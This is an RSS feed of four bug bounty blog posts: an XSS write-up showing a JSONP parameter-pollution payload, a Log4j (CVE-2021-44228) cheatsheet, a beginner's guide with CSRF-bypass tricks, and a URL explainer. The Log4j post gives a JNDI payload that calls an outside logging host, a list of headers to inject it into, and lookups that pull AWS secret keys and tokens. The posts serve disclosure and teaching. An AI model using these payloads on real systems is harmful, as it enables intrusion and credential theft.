<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Anton</title>
    <description>The latest articles on DEV Community by Anton (@therceman).</description>
    <link>https://dev.to/therceman</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F685711%2F92976006-7e98-4177-8856-6ee43f743e83.png</url>
      <title>DEV Community: Anton</title>
      <link>https://dev.to/therceman</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/therceman"/>
    <language>en</language>
    <item>
      <title>$350 XSS in 15 minutes</title>
      <dc:creator>Anton</dc:creator>
      <pubDate>Wed, 28 Dec 2022 20:01:24 +0000</pubDate>
      <link>https://dev.to/therceman/350-xss-in-15-minutes-13c3</link>
      <guid>https://dev.to/therceman/350-xss-in-15-minutes-13c3</guid>
      <description>&lt;p&gt;Hello 👋&lt;/p&gt;

&lt;p&gt;This is my first and last Bug Bounty Writeup this year. 😀&lt;/p&gt;

&lt;p&gt;I am sharing with you my latest XSS finding, which I’ve found 2 weeks ago.&lt;/p&gt;

&lt;p&gt;This was the fastest and a bit unusual flow that I normally do when I search for XSS.&lt;/p&gt;

&lt;p&gt;So let’s dive in…&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Company asked me to retest an old XSS report.&lt;/li&gt;
&lt;li&gt;I’ve checked that XSS and confirmed that it was fixed properly.&lt;/li&gt;
&lt;li&gt;The specific endpoint had &lt;code&gt;name&lt;/code&gt; a param that was vulnerable to Reflected XSS injection.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;example.com/profile?name=&amp;lt;img+src=1+onerror=alert(1337)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;I’ve started to search for a bypass and used the Search function in Chrome Developer tools to search this endpoint &lt;code&gt;/profile&lt;/code&gt; in all JS files to check for another vulnerable param, but found another endpoint:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;example.com/services
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;The first idea that came to my mind was to put this URL in the google search engine and see if this endpoint was cached somewhere on the google web space with params.&lt;/li&gt;
&lt;li&gt;After the first try, I found a cached endpoint with params on the first page of the results, the endpoint had ID param and some other params.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;example.com/services?id=123&amp;amp;page=Demo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;I’ve added my payload &lt;code&gt;qwe'"&amp;lt;X&amp;lt;/&lt;/code&gt; to the ID param and started to check if anything is reflected somewhere on the webpage’s source code.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;example.com/services?id=123qwe'"&amp;lt;X&amp;lt;/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Besides that, I’ve opened the Network tab in Chrome Developer tools to check all requests that this endpoint might send somewhere.&lt;/li&gt;
&lt;li&gt;After the second refresh of the page, I found an interesting AJAX request that used the JSONP callback param together with the ID param from the endpoint itself. The AJAX request URL was similar to this:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;lib.com/find?id=123qwe&amp;amp;jsonp=cb12
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;The first thing that I tested was the JSONP param itself, to see if I can change it to an &lt;code&gt;alert&lt;/code&gt; function with a custom parameter&lt;/li&gt;
&lt;li&gt;To my surprise, there was no check for JSONP value, so I easily changed it to &lt;code&gt;alert(1337);&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Now it was time to check the ID param once again and see if it accepts other symbols, for example, &lt;code&gt;%&lt;/code&gt; sign to craft an encoded payload in order to add custom parameters to AJAX URL.&lt;/li&gt;
&lt;li&gt;I’ve changed the endpoint URL to
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;example.com/services?id=1%26jsonp=alert(1337);%23
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;When JS processed it, it transformed &lt;code&gt;%26&lt;/code&gt; to &amp;amp; and &lt;code&gt;%23&lt;/code&gt; to #. Everything that is behind the # (hashtag) symbol is ignored by the browser. The final AJAX call looked like this:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;lib.com/find?id=1&amp;amp;jsonp=alert(1337);#&amp;amp;jsonp=cb12
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Using this AJAX URL manipulation (parameter pollution attack) I have successfully triggered an alert box with text &lt;code&gt;1337&lt;/code&gt;. This confirmed the DOM XSS vulnerability existence and I have received a $350 bounty, with an additional $50 for a retest of an old report.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Thanks for reading!&lt;/p&gt;




&lt;p&gt;P.S. I’m working on a book for beginners in Bug Bounty world. This book will include Networking, HTML &amp;amp; JavaScript basics, a short description of widespread vulnerabilities, and an in-depth analysis of XSS vulnerability with examples, tips, tools, and tricks. At the end of the book, I will teach you how to create and deploy your own NodeJS service for testing Blind-XSS / SSRF vulnerabilities.&lt;/p&gt;

&lt;p&gt;P.S.S. Stay tuned for updates and don’t forget to subscribe at least somewhere so you won’t miss any info regarding the book.&lt;/p&gt;




&lt;p&gt;Happy Holidays &amp;amp; Happy New Year! 🎄&lt;/p&gt;




&lt;p&gt;Sharing Bug Bounty Tips on&lt;/p&gt;

&lt;p&gt;🔸 LinkedIn 🔗 &lt;a href="https://linkedin.com/in/therceman" rel="noopener noreferrer"&gt;https://linkedin.com/in/therceman&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🔸 Instagram 🔗 &lt;a href="https://instagram.com/therceman" rel="noopener noreferrer"&gt;https://instagram.com/therceman&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🔸 Telegram 🔗 &lt;a href="https://t.me/therceman" rel="noopener noreferrer"&gt;https://t.me/therceman&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🔸 TikTok 🔗 &lt;a href="https://tiktok.com/@therceman" rel="noopener noreferrer"&gt;https://tiktok.com/@therceman&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🔸 YouTube 🔗 &lt;a href="https://youtube.com/therceman" rel="noopener noreferrer"&gt;https://youtube.com/therceman&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🔸 Twitter 🔗 &lt;a href="https://twitter.com/therceman" rel="noopener noreferrer"&gt;https://twitter.com/therceman&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Anton (therceman)&lt;/p&gt;

</description>
      <category>watercooler</category>
    </item>
    <item>
      <title>Log4j Vulnerability Cheatsheet</title>
      <dc:creator>Anton</dc:creator>
      <pubDate>Tue, 14 Dec 2021 20:33:59 +0000</pubDate>
      <link>https://dev.to/therceman/log4j-vulnerability-cheatsheet-m39</link>
      <guid>https://dev.to/therceman/log4j-vulnerability-cheatsheet-m39</guid>
      <description>&lt;h2&gt;
  
  
  Description
&lt;/h2&gt;

&lt;p&gt;Java logging library, log4j, has an unauthenticated RCE vulnerability if a user-controlled string is logged. CVE-2021–44228&lt;/p&gt;

&lt;p&gt;Affected versions - Apache log4j 2.0-beta9 ≤ 2.14.1&lt;/p&gt;

&lt;h2&gt;
  
  
  How It Works
&lt;/h2&gt;

&lt;p&gt;Specially crafted payload is injected into Headers, Input Fields, or Query/Body parameters&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://target.com/?test=${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.qwe3er.dnslog.cn/exp}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;&lt;p&gt;You can use a service &lt;code&gt;dnslog.cn&lt;/code&gt; to create your DNS subdomain for a test. Example: &lt;code&gt;qwe3er.dnslog.cn&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use this subdomain to craft a payload and send it with the request. Check request to DNS service after some time for confirmation of successful callback&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You should receive a similar request to DNS service (with Host &amp;amp; Java Version): &lt;code&gt;jv-11.0.13-hn-73a957d15746.qwe3er.dnslog.cn&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Test Environments
&lt;/h2&gt;

&lt;p&gt;You can use provided test environments to inspect the behavior of this vulnerability&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/leonjza/log4jpwn"&gt;https://github.com/leonjza/log4jpwn&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/christophetd/log4shell-vulnerable-app"&gt;https://github.com/christophetd/log4shell-vulnerable-app&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenges &amp;amp; Labs (Rooms)
&lt;/h2&gt;

&lt;p&gt;You can use created challenges, labs (rooms) for practice&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pentesterlab.com/exercises/log4j_rce/course"&gt;https://pentesterlab.com/exercises/log4j_rce/course&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tryhackme.com/room/solar"&gt;https://tryhackme.com/room/solar&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How To Identify (Services)
&lt;/h2&gt;

&lt;p&gt;Use these websites to create DNS address (token) for payload&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://canarytokens.org"&gt;https://canarytokens.org&lt;/a&gt; (Token Type: Log4Shell)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://app.interactsh.com"&gt;https://app.interactsh.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dnslog.cn"&gt;https://dnslog.cn&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How To Identify (Scanners)
&lt;/h2&gt;

&lt;p&gt;Use these scanners to check if target website is vulnerable&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/fullhunt/log4j-scan"&gt;https://github.com/fullhunt/log4j-scan&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/adilsoybali/Log4j-RCE-Scanner"&gt;https://github.com/adilsoybali/Log4j-RCE-Scanner&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  List of Places where Payload can be Injected
&lt;/h2&gt;

&lt;p&gt;Email header, Username, Password, E-mail address, Filename, Query/Body, File content, Document/Image EXIF, or inside of any of these Headers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
Forwarded-For-Ip
Forwarded-For
Forwarded
If-Modified-Since
Originating-Ip
Referer
True-Client-Ip
User-Agent
X-Api-Version
X-Client-Ip
X-Forwarded-For
X-Leakix
X-Originating-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Wap-Profile
Authorization: Basic
Authorization: Bearer
Authorization: Oauth
Authorization: Token
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  What Information can be Extracted
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;Video Edition is available on&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;YouTube #shorts - &lt;a href="https://youtu.be/vPG4IX9xIkU"&gt;https://youtu.be/vPG4IX9xIkU&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Instagram - &lt;a href="https://t.co/27uFm5f9Va"&gt;https://t.co/27uFm5f9Va&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;TikTok - &lt;a href="https://t.co/kW15YiLKHq"&gt;https://t.co/kW15YiLKHq&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Static Version Shared On&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;LinkedIn - &lt;a href="https://t.co/bS7JndJ1yG"&gt;https://t.co/bS7JndJ1yG&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Instagram - &lt;a href="https://t.co/I6ivWbVDMp"&gt;https://t.co/I6ivWbVDMp&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Twitter - &lt;a href="https://lnkd.in/gr2tfgcx"&gt;https://lnkd.in/gr2tfgcx&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;That's all for now&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Share the word about this article&lt;/li&gt;
&lt;li&gt;Follow me &lt;a class="mentioned-user" href="https://dev.to/therceman"&gt;@therceman&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I tweet &amp;amp; write about Bug Bounty Hunting&lt;br&gt;
Cheers, Happy Hunting 👍&lt;/p&gt;

</description>
      <category>log4j</category>
      <category>bugbounty</category>
      <category>cybersecurity</category>
      <category>java</category>
    </item>
    <item>
      <title>How To Start Bug Bounty Hunting - Short Intro</title>
      <dc:creator>Anton</dc:creator>
      <pubDate>Sat, 21 Aug 2021 08:34:17 +0000</pubDate>
      <link>https://dev.to/therceman/how-to-start-bug-bounty-hunting-short-intro-1k0e</link>
      <guid>https://dev.to/therceman/how-to-start-bug-bounty-hunting-short-intro-1k0e</guid>
      <description>&lt;p&gt;I recommend registering on &lt;a href="https://twitter.com/Bugcrowd"&gt;@BugCrowd&lt;/a&gt;, &lt;a href="https://twitter.com/Hacker0x01"&gt;@Hacker0x01&lt;/a&gt;, &lt;a href="https://twitter.com/intigriti"&gt;@intigriti&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Searching for bugs in the wild (not on a bug bounty platform) is great, but not for the start.&lt;/p&gt;

&lt;p&gt;Bug bounty platforms can give you very interesting private invites over time.&lt;/p&gt;




&lt;p&gt;Try focusing on programs that have a wide scope, where you can manage users (create roles), docs, images, etc.&lt;/p&gt;

&lt;p&gt;And then start with a simple — create two users (one basic user &amp;amp; second admin), open two browsers, and start testing for &lt;strong&gt;BAC&lt;/strong&gt; (Broken Access Control) vulnerability.&lt;/p&gt;

&lt;p&gt;In short — BAC is the type of vulnerability, where a basic user can perform admin actions.&lt;/p&gt;

&lt;p&gt;Some of these vulnerabilities can be found using direct links to sections/endpoints, but others will require you to modify requests that are sent to the browser&lt;/p&gt;




&lt;p&gt;I recommend using &lt;a href="https://twitter.com/Burp_Suite"&gt;@Burp_Suite&lt;/a&gt; for requests capture &amp;amp; modification. You can download Community Edition for Free.&lt;/p&gt;

&lt;p&gt;Recommended Addon: Logger++&lt;/p&gt;




&lt;p&gt;While you are testing the website/app for BAC bugs — you can highlight all GET requests to critical actions. E.g. &lt;code&gt;/delete_user?id=1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Requests with critical actions that can be directly sent to a user are treated as a &lt;strong&gt;CSRF&lt;/strong&gt; (Cross-Site Request Forgery) vulnerability&lt;/p&gt;

&lt;p&gt;POST requests can be used too to perform CSRF attack, but usually has CSRF protection mechanism in place (like &lt;code&gt;csrf_tokens&lt;/code&gt; or &lt;code&gt;referrer&lt;/code&gt; check).&lt;/p&gt;

&lt;p&gt;CSRF protection can be bypassed sometimes. Try to switch the POST method to GET or remove token value from a key - &lt;code&gt;csrf_token=&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;With referrer protection, you can try to append your own domain to a referrer, like this &lt;code&gt;http://example.com.yourdomain.com&lt;/code&gt;&lt;/p&gt;




&lt;p&gt;And the third basic rule while performing bug bounty hunting — is to put a basic payload in all possible inputs: &lt;code&gt;qwe'"&amp;lt;X&amp;lt;/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And just watch text reflection on a website. If you will see somewhere &lt;code&gt;qwe'"&lt;/code&gt; (without angle brackets) — this could be a chance of &lt;strong&gt;XSS&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Additionally, search for &lt;code&gt;qwe&lt;/code&gt; text in the source code of the page. Use Developers Tools in the browser for this task.&lt;/p&gt;

&lt;p&gt;Some of the input payloads can be reflected in tag parameters: &lt;br&gt;
&lt;code&gt;&amp;lt;a class="qwe'"&amp;lt;x&amp;lt;/"&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Or in &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; element itself: &lt;br&gt;
&lt;code&gt;&amp;lt;script&amp;gt; let a = "qwe'"&amp;lt;x&amp;lt;/" &amp;lt;script&amp;gt;&lt;/code&gt;&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;That's all for now! Thanks for reading 👍&lt;/p&gt;

&lt;p&gt;Follow me on Twitter - &lt;a href="https://twitter.com/therceman"&gt;https://twitter.com/therceman&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I Tweet &amp;amp; Write about WebDev &amp;amp; InfoSec&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>cybersecurity</category>
      <category>computerscience</category>
      <category>programming</category>
      <category>beginners</category>
    </item>
    <item>
      <title>What is a Website URL? 🔗</title>
      <dc:creator>Anton</dc:creator>
      <pubDate>Mon, 16 Aug 2021 21:21:47 +0000</pubDate>
      <link>https://dev.to/therceman/what-is-a-url-3j9d</link>
      <guid>https://dev.to/therceman/what-is-a-url-3j9d</guid>
      <description>&lt;p&gt;URL (Uniform Resource Locator) is the so-called address of the desired resource on the internet that consists of multiple components/parts. &lt;/p&gt;

&lt;p&gt;Let's take a look at the following URL&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://admin:pass@a.b.example.com:888/users/index.php?q=bob&amp;amp;role=2#info
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This URL consist of the following components:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Scheme        &lt;code&gt;https://&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Authority    &lt;code&gt;admin:pass@&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Host             &lt;code&gt;a.b.example.com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Port             &lt;code&gt;888&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Path            &lt;code&gt;users/index.php&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Query          &lt;code&gt;q=bob&amp;amp;role=2&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Hash             &lt;code&gt;#info&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  Scheme component
&lt;/h2&gt;




&lt;p&gt;&lt;strong&gt;Alternative naming:&lt;/strong&gt;  Protocol&lt;br&gt;
&lt;strong&gt;Required:&lt;/strong&gt; Yes&lt;br&gt;
&lt;strong&gt;Example:&lt;/strong&gt; &lt;code&gt;https://&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The scheme specifies which application will be used by a web server (app on Windows/i0S/Android) to open a URL. &lt;/p&gt;

&lt;p&gt;For example, opening a URL with the scheme &lt;code&gt;mailto://&lt;/code&gt; will open your webmail application.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Common examples: &lt;code&gt;https://&lt;/code&gt;, &lt;code&gt;http://&lt;/code&gt; , &lt;code&gt;ftp://&lt;/code&gt;, &lt;code&gt;mailto://&lt;/code&gt;, &lt;code&gt;file://&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Custom app examples: &lt;code&gt;facetime://&lt;/code&gt;, &lt;code&gt;slack://&lt;/code&gt;, &lt;code&gt;steam://&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Browser specific examples: &lt;code&gt;about://&lt;/code&gt;, &lt;code&gt;chrome://&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Additional browser examples: &lt;code&gt;data://&lt;/code&gt;, &lt;code&gt;javascript://&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  Authority component
&lt;/h2&gt;




&lt;p&gt;&lt;strong&gt;Alternative naming:&lt;/strong&gt; HTTP authentication, credentials, authorization&lt;br&gt;
&lt;strong&gt;Required:&lt;/strong&gt; No&lt;br&gt;
&lt;strong&gt;Example:&lt;/strong&gt; &lt;code&gt;admin:pass@&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Basic authorization to a web/app resource indicated by  &lt;code&gt;@&lt;/code&gt; (at) sign.&lt;br&gt;
Login &lt;code&gt;admin&lt;/code&gt; is separated from password &lt;code&gt;pass&lt;/code&gt; using &lt;code&gt;:&lt;/code&gt; (colon) sign&lt;br&gt;
In some cases password is optional (e.g. &lt;code&gt;https://admin@example.com&lt;/code&gt;)&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  Host component
&lt;/h2&gt;




&lt;p&gt;&lt;strong&gt;Alternative naming:&lt;/strong&gt; Hostname&lt;br&gt;
&lt;strong&gt;Required:&lt;/strong&gt; Yes&lt;br&gt;
&lt;strong&gt;Example:&lt;/strong&gt; &lt;code&gt;a.b.example.com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The Host consists of multiple domain names separated by &lt;code&gt;.&lt;/code&gt; (dot) sign.&lt;br&gt;
Domain name with level &amp;gt; 2 is called sub-domain&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;a&lt;/code&gt;                   - 4th level domain (sub-domain)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;b&lt;/code&gt;                   - 3rd level domain (sub-domain). &lt;/li&gt;
&lt;li&gt;
&lt;code&gt;example&lt;/code&gt;    - 2nd level domain (domain name)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;com&lt;/code&gt;            - top/1st level domain (TLD)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The host can be an IP address in IPv4 (e.g. &lt;code&gt;193.184.216.34&lt;/code&gt;)&lt;br&gt;
or IPv6 (e.g. &lt;code&gt;[2a00:1450:400e:80a::200e]&lt;/code&gt;) format&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  Port component
&lt;/h2&gt;




&lt;p&gt;&lt;strong&gt;Required:&lt;/strong&gt; Yes&lt;br&gt;
&lt;strong&gt;Example:&lt;/strong&gt; &lt;code&gt;888&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The port component indicates which server we are referring to on the target host&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;:&lt;/code&gt; (colon) sign indicates port component usage. &lt;code&gt;888&lt;/code&gt; is the port number&lt;/p&gt;

&lt;p&gt;The server can accept connections on multiple ports. E.g. port numbers &lt;code&gt;80&lt;/code&gt; and &lt;code&gt;443&lt;/code&gt; can be used by a single server:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;80&lt;/code&gt;   - port number is used for basic web connection&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;443&lt;/code&gt; - port number is used for secure (TLS/SSL) web connection&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The port &lt;code&gt;:443&lt;/code&gt; or &lt;code&gt;:80&lt;/code&gt; is omitted when a web page has &lt;code&gt;https://&lt;/code&gt; or &lt;code&gt;http://&lt;/code&gt; scheme&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  Path component
&lt;/h2&gt;




&lt;p&gt;&lt;strong&gt;Required:&lt;/strong&gt; No&lt;br&gt;
&lt;strong&gt;Example:&lt;/strong&gt; &lt;code&gt;/users/index.php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Usually the Path component indicates a path to target file on a server&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/&lt;/code&gt;                 -  the root path/folder. Let's imagine it is called &lt;code&gt;htdocs&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;users&lt;/code&gt;              -  folder named &lt;code&gt;users&lt;/code&gt; inside of &lt;code&gt;htdocs&lt;/code&gt; folder&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/index.php&lt;/code&gt; - file named &lt;code&gt;index.php&lt;/code&gt; inside of &lt;code&gt;users&lt;/code&gt; folder&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In some cases, the Path component can use custom mapping/scheme/rewrite rule. The path segments can be linked to a function/method in different files on a server:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;/users/list&lt;/code&gt;         - function &lt;code&gt;list&lt;/code&gt; in &lt;code&gt;users.php&lt;/code&gt; file.&lt;br&gt;
&lt;em&gt;show list of all users&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;/users/1/read&lt;/code&gt; - function &lt;code&gt;read&lt;/code&gt; with argument &lt;code&gt;ID&lt;/code&gt; in &lt;code&gt;users.php&lt;/code&gt; file. &lt;br&gt;
&lt;em&gt;show info of user with ID = 1&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;/users/images&lt;/code&gt; - function &lt;code&gt;users&lt;/code&gt; in &lt;code&gt;image-collection.php&lt;/code&gt; file. &lt;br&gt;
&lt;em&gt;show images of all users&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  Query component
&lt;/h2&gt;




&lt;p&gt;&lt;strong&gt;Alternative naming:&lt;/strong&gt; Query string, Search string&lt;br&gt;
&lt;strong&gt;Required:&lt;/strong&gt; No&lt;br&gt;
&lt;strong&gt;Example:&lt;/strong&gt; &lt;code&gt;?q=bob&amp;amp;role=2&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The Query component always starts with a &lt;code&gt;?&lt;/code&gt; (question) sign. &lt;br&gt;
It consists of key-value pairs. The value is assigned to a key using the &lt;code&gt;=&lt;/code&gt; (equals) sign. &lt;br&gt;
&lt;br&gt; Key-value pairs are separated using &lt;code&gt;&amp;amp;&lt;/code&gt; (ampersand) sign.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;?&lt;/code&gt;       - starting symbol that indicates presence of Query component &lt;/li&gt;
&lt;li&gt;
&lt;code&gt;q&lt;/code&gt;       - the first key&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;=&lt;/code&gt;       - the sign, that assigns first value to a first key&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;bob&lt;/code&gt;   -  the first value&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;amp;&lt;/code&gt;       -  the key and value pair separator&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;role&lt;/code&gt;  - the second key&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;=&lt;/code&gt;       - the sign, that assigns second value to a second key&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;2&lt;/code&gt;       - the second value&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Example of logic behind this query: &lt;em&gt;get all users named &lt;code&gt;bob&lt;/code&gt; with role ID &lt;code&gt;2&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  Hash component
&lt;/h2&gt;




&lt;p&gt;&lt;strong&gt;Alternative naming:&lt;/strong&gt; Anchor&lt;br&gt;
&lt;strong&gt;Required:&lt;/strong&gt; No&lt;br&gt;
&lt;strong&gt;Example:&lt;/strong&gt; &lt;code&gt;#info&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Usually used by client-side scripting language named &lt;code&gt;Javascript&lt;/code&gt;&lt;br&gt;
